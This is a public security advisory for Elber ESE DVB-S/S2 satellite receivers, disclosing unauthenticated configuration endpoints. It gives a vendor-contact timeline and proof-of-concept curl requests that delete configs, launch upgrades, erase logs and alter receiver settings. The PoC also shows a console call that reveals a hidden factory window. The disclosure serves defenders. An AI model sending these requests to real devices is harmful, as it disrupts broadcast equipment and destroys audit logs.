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zeroscienceGjoko KrsticZSL-2024-5821
HistoryApr 17, 2024 - 12:00 a.m.

Elber ESE DVB-S/S2 Satellite Receiver 1.5.x Device Config

2024-04-1700:00:00
Gjoko Krstic
zeroscience.mk
76
elber s.r.l. high-end radio. satellite receiver. privilege escalation. denial of service. zero science lab. gjoko krstic. integrated receiver decoder. vendor status. vulnerability discovered. public security advisory.

7.4 High

AI Score

Confidence

Low

Title: Elber ESE DVB-S/S2 Satellite Receiver 1.5.x Device Config
Advisory ID: ZSL-2024-5821
Type: Local/Remote
Impact: Security Bypass, Privilege Escalation, System Access, DoS
Risk: (5/5)
Release Date: 17.04.2024

Summary

ESE (Elber Satellite Equipment) product line, designed for the high-end radio contribution and distribution market, where quality and reliability are most important. The Elber IRD (Integrated Receiver Decoder) ESE-01 offers a professional audio quality (and composite video) at an excellent quality/price ratio. The development of digital satellite contribution networks and the need to connect a large number of sites require a cheap but reliable and performing satellite receiver with integrated decoder.

Description

The device suffers from an unauthenticated device configuration and client-side hidden functionality disclosure.

Vendor

Elber S.r.l. - <https://www.elber.it>

Affected Version

1.5.179 Revision 904
1.5.56 Revision 884
1.229 Revision 440

Tested On

NBFM Controller
embOS/IP

Vendor Status

[18.08.2023] Vulnerability discovered.
[20.08.2023] Vendor contacted.
[29.09.2023] No response from the vendor.
[09.12.2023] Vendor contacted.
[02.02.2024] No response from the vendor.
[16.03.2024] Vendor contacted.
[16.04.2024] No response from the vendor.
[17.04.2024] Public security advisory released.

PoC

elber_ese_idor.txt

Credits

Vulnerability discovered by Gjoko Krstic - <[email protected]>

References

[1] <https://packetstormsecurity.com/files/178141/&gt;
[2] <https://cxsecurity.com/issue/WLB-2024040055&gt;

Changelog

[17.04.2024] - Initial release
[22.05.2024] - Added reference [1] and [2]

Contact

Zero Science Lab

Web: <https://www.zeroscience.mk>
e-mail: [email protected]

<html><body><p>Elber ESE DVB-S/S2 Satellite Receiver 1.5.x Device Config


Vendor: Elber S.r.l.
Product web page: https://www.elber.it
Affected version: 1.5.179 Revision 904
                  1.5.56 Revision 884
                  1.229 Revision 440

Summary: ESE (Elber Satellite Equipment) product line, designed for the
high-end radio contribution and distribution market, where quality and
reliability are most important. The Elber IRD (Integrated Receiver Decoder)
ESE-01 offers a professional audio quality (and composite video) at an
excellent quality/price ratio. The development of digital satellite contribution
networks and the need to connect a large number of sites require a cheap
but reliable and performing satellite receiver with integrated decoder.

Desc: The device suffers from an unauthenticated device configuration and
client-side hidden functionality disclosure.

Tested on: NBFM Controller
           embOS/IP


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2024-5821
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5821.php


18.08.2023

--


# Config fan
$ curl 'http://TARGET/json_data/fan?fan_speed=&amp;fan_target=&amp;warn_temp=&amp;alarm_temp=''
Configuration applied

# Delete config
$ curl 'http://TARGET/json_data/conf_cmd?index=4&amp;cmd=2'
File delete successfully

# Launch upgrade
$ curl 'http://TARGET/json_data/conf_cmd?index=4&amp;cmd=1'
Upgrade launched Successfully

# Log erase
$ curl 'http://TARGET/json_data/erase_log.js?until=-2
Logs erased

# Until:
# =0 ALL
# =-2 Yesterday
# =-8 Last week
# =-15 Last two weeks
# =-22 Last three weeks
# =-31 Last month

# Set RX config
$ curl 'http://TARGET/json_data/NBFMV2RX.setConfig?freq=2480000&amp;freq_offset=0&amp;mute=1&amp;sq_thresh=-90.0&amp;dec_mode=0&amp;lr_swap=0&amp;preemph=0&amp;preemph_const=0&amp;deemph=0&amp;deemph_const=1&amp;ch_lr_enable=0&amp;ch_r_gain=0.0&amp;ch_l_gain=0.0&amp;ch_adj_ctrl=0&amp;ch_lr_att=1&amp;mpxdig_att=0&amp;pilot_trim=0.0&amp;mpxdig_gain=0.0&amp;rds_trim=0.0&amp;delay_enable=0&amp;local_rds=0&amp;output_delay=0&amp;pi_code=0___&amp;mpx1_enable=1&amp;mpx2_enable=1&amp;sca1_enable=1&amp;sca2_enable=0&amp;mpx1_att=0&amp;mpx2_att=0&amp;sca1_att=0&amp;sca2_att=0&amp;mpx1_gain=0.0&amp;mpx2_gain=0.0&amp;sca1_gain=0.0&amp;sca2_gain=0.0&amp;limiter_enable=false&amp;lim_1_gain=0.0+dB&amp;lim_1_th=0.0+kHz&amp;lim_1_alpha=0.0+%25&amp;setupTime=0.0+ms&amp;holdTime=0.0+ms&amp;releaseFactor=0.0+dB%2Fsec&amp;lim_2_en=false&amp;lim_2_gain=0.0+dB&amp;lim_2_th=0.0+kHz&amp;rds_gen=false&amp;rt_PI=&amp;rt_PS=&amp;rt_plus_en=false&amp;rt_line_A=&amp;rt_line_B=&amp;rt_AF=&amp;rf_trap=0&amp;output_trap=0'
RX Config Applied Successfully

# Show factory window and FPGA upload (Console)
&gt; cleber_show_factory_wnd()

# Etc.
</p></body></html>

7.4 High

AI Score

Confidence

Low